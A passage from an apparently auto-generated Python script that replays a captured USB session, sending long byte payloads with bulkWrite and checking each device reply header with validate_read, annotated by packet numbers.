b\"\\x54\\x64\\x08\\xC4\\xCB\\x5D\\x25\\xB2\\x2B\\xF2\\x22\\x78\\x29\\xC3\\x32\\x0C\"\n b\"\\xA2\\x43\\xB7\\x1C\\xDE\\x0C\\x61\\x5D\\xF1\\x87\\x89\\x0F\\x8E\\x98\\x36\\xFF\"\n b\"\\xFE\\xC9\\xAF\\x7A\\x1D\\x48\\x04\\x74\\xEA\\xDA\\x34\\x66\\xFA\\xC4\\x07\\x0B\"\n b\"\\x0D\\x50\\xA2\\x19\\xD6\\x24\\xED\\x7C\\x01\\xD6\\xF8\\x87\\x42\\x6E\\x5F\\x5E\"\n b\"\\x4D\\x21\\xF7\\x9D\\xEB\\xB8\\x62\\x72\\x46\\x8F\\xC1\\x53\\x6A\\x1D\\x9A\\x67\"\n b\"\\x95\\x15\\xBD\\xE0\\xD3\\xED\\x73\\x53\\x47\\x8F\\xE3\\x69\\xA3\\x07\\x4F\\xB2\"\n b\"\\x6D\\x7D\\x88\\xCB\\x36\\x29\\xFA\\x77\\xFB\\xC7\\x0D\\xD7\\x20\\xD4\\x7F\\x18\"\n b\"\\xB6\\x8B\\x2F\\x2D\\xC3\\xDB\\x3D\\xE9\\xC6\\x15\\xB3\\xE0\")\n # Generated from packet 2035/2036\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2035/2036\")\n # Generated from packet 2037/2038\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4B\\xBC\\xB4\\x93\\x9F\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x21\\x02\\x37\\x3F\\xD5\\x9F\\x25\\x19\"\n b\"\\xF9\\xE7\\x6D\\x37\\xEA\\x4A\\xE0\\x8F\\x4E\\xA0\\x67\\x6F\\xE0\\xDD\\xA5\\xE8\"\n b\"\\x36\\xDE\\xC9\\xCB\\x8C\\x95\\x4B\\x8D\\x2A\\x13\\x1C\\x78\\x03\\x31\\x44\\x8E\"\n b\"\\xD0\\xBF\\x3D\\x47\\x06\\x66\\x17\\xAF\\xF9\\xF3\\xDC\\x89\\x62\\x66\\x96\\xC4\"\n b\"\\x2B\\xAD\\x19\\x97\\xAD\\x73\\xD1\\x56\\xF4\\x36\\x33\\x50\\x0D\\x4E\\xF5\\x40\"\n b\"\\xED\\x10\\x30\\x91\\x7D\\x82\\xA6\\xBA\\xDE\\x5C\\xEF\\x4C\\x1C\\x06\\x79\\x0B\"\n b\"\\x88\\xE3\\x58\\xE9\\x32\\x3E\\xF7\\x7E\\x03\\x3B\\x27\\xF5\\xD0\\x84\\xE2\\x36\"\n b\"\\x54\\x01\\xFF\\x35\\xDB\\xA2\\xC9\\x14\\x67\\x4C\\x3E\\x0F\\xC1\\xD7\\xD3\\xAA\"\n b\"\\xE1\\x3F\\x9E\\xC2\\x6E\\x01\\x4E\\xC9\\x80\\xAF\\x09\\x83\\x52\\x3E\\x09\\xFB\"\n b\"\\x6E\\x0F\\xA3\\x02\\x60\\xB8\\x0E\\xEF\\xCE\\x92\\xF9\\x66\\x98\\x9B\\x75\\x6B\"\n b\"\\xDC\\x87\\x1F\\x8A\\x57\\xF3\\xBB\\x9F\\xDB\\x92\\xFA\\x1B\\xCC\\x1D\\x86\\xB8\"\n b\"\\xDB\\xAF\\x02\\x3E\\xE6\\x51\\x87\\xD0\\x18\\x74\\x4E\\x05\\x0F\\xA7\\xA5\\xDE\"\n b\"\\x31\\xA6\\x05\\x60\\x96\\xE3\\xF8\\xDB\\xE6\\xAB\\xFB\\x87\\x82\\x07\\x23\\x81\"\n b\"\\x48\\x8B\\xE3\\xAC\\x29\\x6A\\x5B\\xDC\\xE7\\x30\\x6D\\x68\\xCE\\xB5\\x73\\x84\"\n b\"\\x81\\x01\\xDE\\xA0\\xEC\\x96\\xBB\\x0E\\xDF\\x1B\\x13\\x19\\xAC\\xC5\\x55\\xB3\"\n b\"\\x73\\x0E\\xC4\\x4D\\xDF\\x06\\x86\\x76\\x3A\\xAE\\x25\\xCE\\x3B\\xBB\\x75\\xB7\"\n b\"\\x39\\xAB\\x97\\xBF\\xF1\\xDD\\xF1\\x01\\xFA\\x40\\x90\\x5A\")\n # Generated from packet 2039/2040\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2039/2040\")\n # Generated from packet 2041/2042\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAB\\x04\\x51\\x86\\x89\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\xCC\\xFF\\x5D\\x8C\\x03\\xCF\\x38\"\n b\"\\x9C\\xC4\\x3A\\x4D\\xA3\\x19\\x35\\xB4\\xE8\\x35\\xF9\\x09\\xBB\\x22\\x6C\\x94\"\n b\"\\x94\\xFE\\xDE\\x84\\x71\\xD5\\xBF\\x69\\x34\\x00\\xAA\\x4F\\x22\\x0C\\x82\\x92\"\n b\"\\xB1\\x52\\x8D\\x29\\x72\\x32\\xFB\\x40\\xD0\\xC2\\x0B\\xB3\\xB0\\x40\\x6D\\x47\"\n b\"\\xDA\\xBD\\x3E\\x41\\xB2\\x17\\x0E\\xEF\\x0C\\x4D\\x99\\x66\\xB7\\x6D\\x56\\x97\"\n b\"\\x0A\\x67\\x11\\x49\\x40\\xC6\\x38\\xEE\\x2D\\x59\\x8B\\x60\\xA8\\x0A\\x71\\x58\"\n b\"\\x7B\\x84\\x51\\xD6\\xA0\\xC8\\x6E\\x38\\x0F\\x83\\x3E\\xFE\\x5F\\xDA\\x06\\xF6\"\n b\"\\x14\\x14\\xC9\\x72\\xC4\\xAD\\xCA\\xEA\\x2D\\x4E\\x24\\xA6\\xAD\\xB6\\x71\\x59\"\n b\"\\x28\\xF6\\x85\\x54\\xCF\\x6D\\x4D\\x69\\xD9\\xF5\\x35\\xC8\\xD8\\x1A\\x5E\\x89\"\n b\"\\x5A\\xEA\\x77\\x21\\xA8\\xC9\\xA3\\xE7\\xD9\\x88\\x9B\\xBB\\xFE\\xF4\\xD8\\x4F\"\n b\"\\x42\\x29\\x06\\x15\\xFF\\x59\\x27\\xBC\\xE6\\x71\\xD9\\xCC\\x26\\x98\\xCC\\x37\"\n b\"\\x65\\xD4\\x73\\x6A\\x12\\xDA\\xE7\\x03\\xB8\\x8C\\x09\\x5B\\xE2\\xC6\\x84\\x41\"\n b\"\\x2C\\xC6\\x3D\\xDE\\xFA\\xA3\\x03\\xF9\\x17\\x1C\\x28\\xF2\\x95\\x87\\xB5\\x92\"\n b\"\\x9C\\xFE\\xFE\\x67\\xEB\\xA1\\x39\\xA6\\xEC\\xD4\\x65\\x67\\xB9\\x8F\\x6E\\x97\"\n b\"\\x18\\x54\\x9A\\x6A\\x30\\x04\\xAA\\x2B\\xD3\\x10\\xCE\\xA2\\x0D\\xE5\\xFB\\x33\"\n b\"\\xCD\\x24\\xED\\xEA\\xC3\\xA3\\x68\\xD1\\xB3\\x22\\x97\\x00\\x3F\\xA5\\x62\\x11\"\n b\"\\x47\\x46\\x22\\x02\\xFC\\x94\\xE2\\xD4\\xAB\\xFA\\xEA\\xD8\")\n # Generated from packet 2043/2044\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2043/2044\")\n # Generated from packet 2045/2046\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9B\\xA0\\xDE\\xB2\\x8A\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x53\\x65\\x7C\\x9B\\xFC\\x9E\\xFD\"\n b\"\\xCA\\x92\\x72\\x03\\x6F\\xCF\\x06\\x72\\xD5\\x55\\x15\\x76\\xC5\\x5A\\x13\\x2B\"\n b\"\\xB4\\xC1\\x18\\x18\\xE9\\x94\\x12\\x37\\x76\\x16\\x75\\x18\\x1A\\x98\\x6C\\x72\"\n b\"\\xF6\\xA9\\x26\\x5B\\xA0\\x0B\\xE3\\xE9\\x76\\x5F\\x8D\\xE5\\x73\\xDC\\xE6\\x39\"\n b\"\\x75\\x4D\\xDC\\x34\\x4E\\x4B\\x99\\xDA\\xB9\\x4D\\xEF\\x12\\x89\\xF2\\x91\\xA7\"\n b\"\\x34\\xDB\\xEB\\xFB\\xA8\\x0E\\x96\\xEE\\xB9\\x16\\xA4\\x90\\x4F\\xEB\\x59\\x03\"\n b\"\\xB1\\xA2\\xF0\\x51\\x64\\xEC\\xF7\\x63\\x92\\xFD\\xD3\\x8C\\xFF\\xE4\\x8C\\xF4\"\n b\"\\x92\\x30\\x4E\\xFC\\x19\\x0C\\xA2\\xFE\\xAB\\x24\\x2E\\x7F\\x5F\\x11\\xB0\\x29\"\n b\"\\xB9\\x6C\\x4F\\xC7\\x3A\\x83\\xF0\\xD1\\x65\\x64\\xDF\\xD4\\xA1\\xF7\\x94\\x92\"\n b\"\\x72\\x18\\x9E\\xC7\\x20\\x25\\x0B\\x79\\xDD\\x9E\\x00\\xE6\\x43\\x29\\x15\\xFA\"\n b\"\\xA1\\x29\\x34\\x2F\\x89\\x18\\x9C\\x24\\xA5\\x21\\xB1\\x7E\\x25\\x97\\x8A\\xAF\"\n b\"\\x05\\xCE\\xDB\\xC8\\x7E\\xD8\\xF5\\xB2\\xD2\\x96\\xBB\\xBB\\x13\\xAB\\x98\\xE3\"\n b\"\\x98\\x7F\\x70\\x8C\\x00\\xB5\\xE1\\x74\\xFB\\xE2\\x17\\xDD\\xD2\\x4A\\x19\\xD3\"\n b\"\\x90\\x1B\\xE8\\xE6\\xD4\\xDE\\x3B\\xB4\\x1D\\xD0\\x21\\xA4\\xD5\\xE1\\xC8\\xB3\"\n b\"\\x72\\x9B\\x1B\\x47\\x16\\x4B\\xB5\\x1C\\x9D\\xD3\\x54\\xBA\\x64\\x40\\xCF\\xE7\"\n b\"\\x2E\\xA6\\x6D\\x25\\xBC\\x59\\x37\\x0A\\x31\\x06\\xF9\\xAF\\x0A\\x7B\\x8F\\x87\"\n b\"\\x62\\x10\\xF4\\x7A\\x3B\\x5D\\x30\\x19\\xB1\\x7D\\x51\\x33\")\n # Generated from packet 2047/2048\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2047/2048\")\n # Generated from packet 2049/2050\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD5\\x10\\x94\\xB4\\x41\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\xC5\\xAC\\xA8\\x25\\xB2\\x43\\x63\"\n b\"\\x34\\x6A\\x2B\\xE8\\x4D\\x05\\x13\\xAB\\xA3\\xDF\\xEC\\x74\\xCA\\xDD\\x69\\xB4\"\n b\"\\xC5\\xFA\\x0C\\x87\\xA1\\x36\\x38\\x1A\\xB8\\x52\\xBF\\x3B\\xAA\\xA4\\xDA\\xD7\"\n b\"\\x26\\x3A\\xD3\\xB0\\x2A\\x91\\x6F\\x90\\x09\\x4E\\x2E\\x6A\\x6D\\x9F\\x34\\x1D\"\n b\"\\x16\\x08\\xF2\\xD5\\x41\\x17\\x59\\x46\\x60\\x1F\\xF1\\xF5\\xF9\\x63\\xF5\\x74\"\n b\"\\x92\\x00\\x70\\x3F\\x24\\x6D\\xA3\\x0F\\x3D\\xAA\\xF6\\xBF\\x0B\\x21\\x23\\x0B\"\n b\"\\xF5\\xE0\\x3E\\x95\\x29\\xA9\\xB3\\x66\\x5C\\x8B\\x84\\xBF\\xA6\\x9B\\xD3\\xAC\"\n b\"\\x9B\\xE5\\xE6\\x37\\x9D\\xF8\\xCE\\x8A\\xF6\\xD4\\x71\\xC4\\x0F\\x61\\x79\\xD7\"\n b\"\\xE9\\xBA\\x1F\\x4A\\xFA\\xA5\\x6F\\xD3\\xC7\\xB3\\xCB\\x44\\xBD\\x45\\xA7\\xFA\"\n b\"\\x54\\x94\\xCE\\xD5\\xCF\\x67\\x1B\\x98\\x1D\\x8B\\x28\\x28\\x5E\\xF1\\x28\\x8B\"\n b\"\\xB6\\x01\\x2E\\x3E\\xA4\\xFF\\x42\\x37\\x63\\x44\\x4C\\x3F\\xEA\\xFF\\xCC\\xFE\"\n b\"\\xA2\\xB4\\x71\\xE8\\xBE\\x25\\xE6\\xFB\\x4C\\x6F\\x84\\xBB\\x06\\xC5\\x5E\\x2B\"\n b\"\\x41\\x0C\\x83\\x40\\x57\\x0A\\xFD\\x6E\\xCE\\x53\\x05\\xC0\\x35\\x12\\xBB\\xDB\"\n b\"\\xE6\\x04\\x6E\\xBC\\x64\\x19\\x21\\x82\\x21\\x91\\x07\\xCA\\x31\\xB3\\x72\\x21\"\n b\"\\x10\\x43\\x1C\\x9D\\x71\\x2F\\x98\\x7E\\x7F\\xC6\\x90\\x28\\x88\\x1B\\xFD\\xA1\"\n b\"\\xD8\\x2E\\xC4\\x0A\\x5E\\x70\\x03\\x0C\\xD8\\xF4\\x35\\xD9\\x0C\\x31\\x35\\xB6\"\n b\"\\xBB\\x1F\\xBE\\x0B\\x40\\xC2\\x18\\xE8\\x0E\\x3D\\x41\\x50\")\n # Generated from packet 2051/2052\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2051/2052\")\n # Generated from packet 2053/2054\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x23\\xAB\\x63\\x64\\x1B\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x76\\xC4\\x5C\\x3E\\x35\\xD5\\x70\\xE3\"\n b\"\\xD6\\xD0\\x5F\\x72\\xF0\\xD8\\xB5\\xA9\\x24\\x6E\\x85\\x8E\\x3B\\x0E\\x94\\x4F\"\n b\"\\xC9\\x78\\xDE\\x0F\\xD9\\xE8\\x68\\x1F\\x43\\x1C\\xEF\\x90\\x70\\x81\\xA7\\x52\"\n b\"\\x29\\x7B\\xB5\\x64\\xB6\\x5C\\xC1\\x72\\xDD\\xFA\\x4A\\xEC\\x83\\xD4\\xB0\\x3F\"\n b\"\\x94\\x9D\\xDB\\x7A\\x2D\\x7D\\x61\\xD4\\x44\\xAC\\xE0\\x91\\xEF\\xAA\\x19\\xEE\"\n b\"\\x10\\x30\\x29\\x5F\\x7E\\x9E\\xAF\\x88\\x8B\\x88\\x8D\\x46\\x2E\\x00\\x18\\x3D\"\n b\"\\x26\\x72\\x4B\\xF1\\xAA\\x34\\x5E\\xD8\\xE0\\x3E\\x9B\\x11\\x40\\x07\\x4A\\x9A\"\n b\"\\xC9\\x0A\\x90\\xAF\\x95\\xA2\\xBB\\x61\\x93\\x82\\xC5\\xC4\\x03\\xA9\\xAF\\x65\"\n b\"\\x28\\xE2\\x01\\x4D\\x93\\x82\\x84\\xBD\\x5D\\x48\\xFF\\x39\\xB8\\xD9\\xE6\\xC0\"\n b\"\\x4A\\x67\\x99\\x95\\x3F\\x6F\\x0E\\x06\\xAD\\x63\\xBD\\xBE\\xD7\\x00\\x38\\xB4\"\n b\"\\x1E\\x5C\\xEE\\x40\\xC5\\xD4\\x9F\\x78\\x0C\\xB6\\x53\\x69\\x89\\xD6\\x61\\x8F\"\n b\"\\x9B\\x4E\\x3A\\x8E\\xD0\\x1F\\xAD\\xE2\\xAA\\x0E\\xE6\\x51\\x75\\x98\\x00\\xAF\"\n b\"\\x13\\x59\\x79\\x1E\\xAA\\x0B\\xB1\\xB9\\x07\\xF8\\x2E\\x54\\x2B\\xEF\\xBE\\x5B\"\n b\"\\x6B\\x1B\\xC8\\xF0\\xF7\\x54\\x23\\x73\\xFC\\xE1\\x73\\x6C\\x59\\x14\\x8A\\x78\"\n b\"\\x8E\\xB1\\x42\\x38\\xA4\\x46\\xEA\\x22\\x2C\\x3C\\x46\\x36\\x05\\xC5\\xDD\\x9D\"\n b\"\\x61\\xD2\\x9B\\xB8\\x55\\xB3\\xEF\\xC4\\x5A\\x8B\\x22\\x07\\x98\\xA5\\x1A\\x6B\"\n b\"\\x29\\xB6\\x03\\x28\\x7B\\x9C\\x07\\xAF\\xA1\\x25\\x4C\\x38\")\n # Generated from packet 2055/2056\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2055/2056\")\n # Generated from packet 2057/2058\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\xDD\\xA6\\xDB\\xFD\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x66\\x26\\x08\\x26\\xAD\\xC9\\x58\\x93\"\n b\"\\x04\\xA5\\x79\\x4A\\x96\\x19\\xFF\\xB9\\x13\\x4F\\x2E\\x60\\xF6\\x30\\x7D\\x3B\"\n b\"\\x3C\\x8D\\xEE\\x84\\x90\\x9F\\xE6\\x46\\xC2\\x6E\\x98\\x3C\\xE3\\xC7\\x3F\\xBF\"\n b\"\\xD4\\xB5\\x94\\xAC\\xD0\\x29\\x28\\xC4\\xCC\\x70\\xE7\\x94\\xE3\\x25\\xC0\\xC0\"\n b\"\\x82\\x54\\x04\\x08\\x16\\x0D\\x87\\x32\\x64\\x22\\xB8\\x36\\xCB\\x3E\\x94\\x8E\"\n b\"\\x34\\x3D\\x24\\x8A\\x97\\x3A\\xEE\\x6C\\x2D\\x89\\x2B\\x12\\xB2\\xAF\\xF7\\x5E\"\n b\"\\x0C\\x1C\\x2D\\x49\\x42\\x88\\x89\\xED\\x90\\x32\\x1C\\x40\\x87\\xE4\\x3C\\x9F\"\n b\"\\x27\\xC1\\x42\\x03\\x75\\xB7\\xAA\\x5E\\x00\\xD7\\xB7\\xB6\\x69\\xE3\\x2C\\xDB\"\n b\"\\x59\\xCA\\x24\\x71\\x82\\x03\\xE0\\x55\\x69\\xD0\\xFD\\x70\\x86\\x69\\x10\\x5A\"\n b\"\\x32\\x34\\xB0\\xD0\\x20\\xE0\\x1C\\x47\\xFC\\x4F\\xF0\\xC1\\xEF\\x33\\x01\\x31\"\n b\"\\x69\\xF7\\xA0\\x55\\x28\\x1C\\x12\\xEB\\x8F\\x00\\xAC\\xB6\\x24\\x7D\\xA9\\x0F\"\n b\"\\x49\\xD9\\xC3\\x00\\x9D\\x2D\\x74\\x0C\\x38\\x38\\x65\\x54\\x7D\\x71\\xAC\\x5D\"\n b\"\\x8C\\x1D\\x96\\x93\\x05\\x48\\x26\\x78\\x99\\x98\\xD1\\xE6\\x42\\x2F\\xDA\\x83\"\n b\"\\x4B\\x2D\\x3E\\x30\\xCE\\x31\\x4F\\xFD\\x69\\x25\\xEA\\xAC\\xAD\\x44\\xAE\\x0A\"\n b\"\\xAA\\xB8\\xFA\\x91\\x35\\x18\\x7C\\x5D\\xD9\\x83\\x1C\\x81\\xCE\\x65\\x9B\\x23\"\n b\"\\xE9\\xD9\\xCC\\x34\\x80\\xF6\\xC5\\x16\\x26\\x15\\x70\\xA0\\x3C\\x96\\x03\\xC3\"\n b\"\\xCA\\x6E\\x6B\\xFB\\x99\\x67\\x21\\x6F\\x11\\x86\\x79\\x9A\")\n # Generated from packet 2059/2060\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2059/2060\")\n # Generated from packet 2061/2062\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBB\\x97\\xF4\\xA7\\xB8\\x7C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x75\\x77\\xEA\\xA4\\xF3\\xC9\\x7B\\x37\"\n b\"\\x83\\x23\\xD6\\x3B\\x18\\x1F\\x95\\x28\\x28\\x5B\\x2D\\xCD\\x25\\x87\\xDE\\x36\"\n b\"\\xC4\\xCF\\x54\\xAF\\x3F\\x31\\x45\\x32\\xBF\\xD8\\x4F\\x2D\\x61\\x58\\xEF\\x4B\"\n b\"\\x34\\x05\\x7F\\x1B\\xEB\\xAB\\x30\\x38\\x7A\\xF5\\x6F\\x89\\x96\\x37\\xFF\\x06\"\n b\"\\xB4\\x36\\x3F\\xD2\\x96\\x35\\x47\\x92\\x0D\\x8A\\x38\\x44\\xC4\\xAA\\x93\\x78\"\n b\"\\xB2\\x10\\xBC\\xF5\\xD9\\x97\\x4D\\x87\\xA6\\x99\\x92\\x8C\\xD7\\x75\\x10\\x89\"\n b\"\\x43\\x5E\\x4F\\x53\\x75\\x78\\x12\\x7E\\x10\\xB9\\x51\\x28\\x63\\xD3\\x6F\\x26\"\n b\"\\x43\\x0B\\x6D\\xF2\\x8F\\x04\\xB1\\x7F\\x9A\\x54\\x1F\\x52\\x60\\xC4\\x4E\\xCF\"\n b\"\\x23\\x0B\\x77\\x2E\\x53\\x2D\\xCA\\x65\\xD3\\xDB\\xE9\\x77\\x0E\\x62\\xE0\\x9F\"\n b\"\\x4A\\x8D\\x10\\xC3\\xA3\\x29\\xB1\\x96\\xA0\\xF0\\xE9\\x6B\\x8F\\xC7\\x9B\\x9D\"\n b\"\\x21\\x81\\xCC\\x68\\x75\\xFB\\xC4\\xCA\\x22\\x25\\x5D\\x05\\x9D\\x64\\xB4\\x55\"\n b\"\\x09\\x63\\xA6\\x88\\x58\\x72\\xC6\\xA4\\xC9\\x9B\\xF6\\x2B\\x9D\\xAF\\x43\\xB2\"\n b\"\\x82\\x1F\\x05\\x28\\x5B\\xEA\\xA6\\x00\\x02\\xE6\\x10\\x7B\\x59\\x8C\\x41\\xDA\"\n b\"\\x4F\\x89\\x9F\\x54\\x11\\xE1\\xA9\\x03\\xBA\\xE5\\x6C\\x45\\x64\\x38\\x53\\xE4\"\n b\"\\x01\\x7E\\xCB\\x15\\x26\\xE0\\x8E\\x2C\\x33\\xDF\\x0E\\xEC\\x6F\\xDC\\xBF\\x6F\"\n b\"\\x00\\x85\\xAA\\x5F\\xA5\\xE5\\x80\\x92\\xD4\\xBF\\x70\\x29\\x72\\x00\\x5C\\x83\"\n b\"\\x14\\x9B\\x8B\\x73\\x01\\xC5\\xA4\\xE9\\xC2\\x8F\\x91\\xA2\")\n # Generated from packet 2063/2064\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2063/2064\")\n # Generated from packet 2065/2066\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4F\\x7C\\xD2\\x09\\x4F\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\xEA\\x1A\\x57\\xF2\\xB3\\x3B\\x27\"\n b\"\\x4A\\xBF\\xA0\\x01\\x56\\x5C\\x52\\x34\\xBC\\x76\\x87\\xB5\\x31\\x33\\x01\\x4F\"\n b\"\\x21\\x66\\x30\\x7B\\x25\\x0C\\x25\\xB8\\x99\\x4A\\xAC\\xEC\\xEF\\x5E\\x8C\\x9F\"\n b\"\\x5D\\x2B\\xD9\\x60\\xA3\\x47\\xB2\\xFD\\x01\\xD3\\x57\\x4B\\x9D\\x26\\x2E\\xCA\"\n b\"\\xAC\\x7A\\xA7\\x83\\x4E\\x4C\\x1E\\xE9\\x7D\\xB5\\xBD\\x51\\xCD\\x03\\xF2\\x23\"\n b\"\\x0E\\x6E\\x2E\\x86\\xDD\\x28\\xE7\\x46\\x4B\\xEF\\x06\\xBB\\x47\\x63\\xB3\\x67\"\n b\"\\x9A\\xD5\\x75\\x32\\x1B\\x83\\x53\\xDE\\x83\\x5C\\x1A\\x9A\\x63\\xC0\\x7A\\x13\"\n b\"\\xCF\\x45\\x5A\\xFF\\x53\\x63\\x32\\x70\\x2C\\xB2\\x6C\\x9E\\x92\\xAF\\xBE\\x5C\"\n b\"\\xB3\\x5A\\x1D\\x0E\\xB1\\x47\\xA2\\xEE\\x82\\x6F\\xA6\\x7B\\x9A\\xE7\\x01\\xBD\"\n b\"\\x79\\x84\\x2B\\xC6\\x70\\x08\\x14\\x16\\x3F\\xFF\\x5E\\x46\\x0B\\x7E\\xE3\\x6E\"\n b\"\\x51\\xCA\\x1C\\x67\\x18\\x4E\\x0B\\x68\\x19\\x36\\xD5\\x08\\x5E\\x95\\x03\\x12\"\n b\"\\x7D\\xD6\\xF0\\xCD\\xB3\\x56\\x82\\xE6\\x99\\x6A\\x41\\x7C\\x8E\\xFC\\x8A\\x3F\"\n b\"\\xDF\\xA4\\x6B\\x20\\x92\\x3B\\xD5\\xAA\\xC2\\xC5\\x89\\x8A\\x7C\\x30\\xFA\\x07\"\n b\"\\xB2\\xE0\\xF4\\x9B\\x34\\x66\\x81\\x2E\\xB3\\x44\\x6F\\x25\\xD2\\xFA\\xBD\\x5F\"\n b\"\\x96\\xEA\\x71\\x7C\\x96\\xB0\\xEF\\xCC\\xA7\\x79\\x71\\x54\\x6F\\x59\\xDE\\x07\"\n b\"\\xEE\\xC2\\xD9\\x0F\\x6C\\xB0\\xC8\\x0E\\x45\\x04\\xD8\\x62\\xDC\\xD8\\x06\\x5C\"\n b\"\\xAD\\x5D\\x65\\x52\\x58\\x32\\xF3\\x00\\xF4\\x71\\x7A\\x5A\")\n # Generated from packet 2067/2068\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2067/2068\")\n # Generated from packet 2069/2070\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\xD2\\x95\\x58\\x68\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\x04\\x6F\\x35\\x3A\\x6F\\x8A\\x23\"\n b\"\\x34\\xB7\\x93\\x16\\x4E\\x65\\x58\\x1A\\xB5\\xEB\\x62\\x8F\\x93\\xCA\\x7E\\x5F\"\n b\"\\x56\\x43\\xBB\\xEE\\x60\\x58\\x61\\x60\\x36\\x9B\\x91\\x29\\x69\\xE1\\xA4\\xB7\"\n b\"\\x79\\xAB\\xAC\\x99\\xB6\\x70\\xC0\\xF8\\x40\\x4E\\xCF\\xDF\\xB1\\xDE\\x0E\\x14\"\n b\"\\x1C\\xD5\\x29\\xEE\\x39\\x6D\\xEA\\x8C\\xA1\\x97\\x45\\x4A\\x10\\x93\\x05\\x6A\"\n b\"\\x82\\x6B\\x92\\x20\\x7F\\x3F\\x71\\x83\\x38\\x30\\x70\\x1C\\x1E\\xC6\\xCC\\xF2\"\n b\"\\xF2\\x57\\x1B\\x47\\x1B\\x04\\x77\\x5B\\xE2\\x98\\xFF\\x69\\x1B\\xA6\\x02\\xC2\"\n b\"\\x2C\\x0D\\x73\\xFE\\x63\\xAC\\x25\\x34\\xC1\\xDA\\x3C\\x30\\xAF\\x1D\\x0B\\x51\"\n b\"\\x3F\\x92\\x84\\x52\\x75\\x6D\\xCA\\xA8\\x87\\x80\\x0F\\x8A\\xDA\\x9A\\x0D\\x96\"\n b\"\\x0F\\xEF\\xDD\\xB9\\x4B\\x04\\x83\\x45\\x77\\x04\\xC6\\xAC\\x03\\xAB\\x6D\\xAF\"\n b\"\\x72\\xC2\\xDF\\x1D\\x71\\x2B\\x3A\\xCB\\x4C\\x07\\x05\\xCF\\x8C\\xFD\\x58\\xF6\"\n b\"\\xF9\\x34\\xEE\\xB4\\x0F\\x83\\x8D\\x82\\x19\\x38\\x7A\\x25\\xFE\\x3E\\x10\\xC3\"\n b\"\\x34\\x92\\x36\\xA0\\xFE\\x34\\x74\\x96\\xD8\\x61\\xE7\\xB7\\x9B\\x74\\x0E\\x8D\"\n b\"\\x01\\x00\\xE3\\xB0\\x7B\\xC3\\x1A\\xBF\\x5F\\x50\\x59\\x3C\\x0D\\x4C\\x1D\\x7D\"\n b\"\\x49\\xD8\\x88\\x48\\xF3\\x6E\\x5F\\x44\\x27\\x0E\\x64\\x1B\\x30\\xDF\\x33\\x5A\"\n b\"\\x45\\xAF\\xD9\\xF3\\x9F\\x46\\xD6\\x0A\\xCE\\x1F\\x4F\\x85\\x12\\xAE\\x17\\x3F\"\n b\"\\x8E\\x4D\\x1E\\x8D\\x73\\xE4\\xA8\\xC4\\x7A\\xB2\\x83\\x86\")\n # Generated from packet 2071/2072\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2071/2072\")\n # Generated from packet 2073/2074\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE3\\x3D\\xBD\\x1F\\xF6\\x1A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFB\\x7F\\x99\\x23\\xD2\\xD4\\x9D\\x8F\"\n b\"\\xC3\\x29\\x9B\\x5A\\x0B\\xC0\\xF7\\x5B\\xCC\\xF4\\x35\\x42\\x18\\x09\\x69\\x1E\"\n b\"\\x1C\\xEA\\x55\\x57\\xF0\\x1E\\xB0\\xC3\\xE0\\xC8\\x39\\x30\\x41\\x63\\x53\\x38\"\n 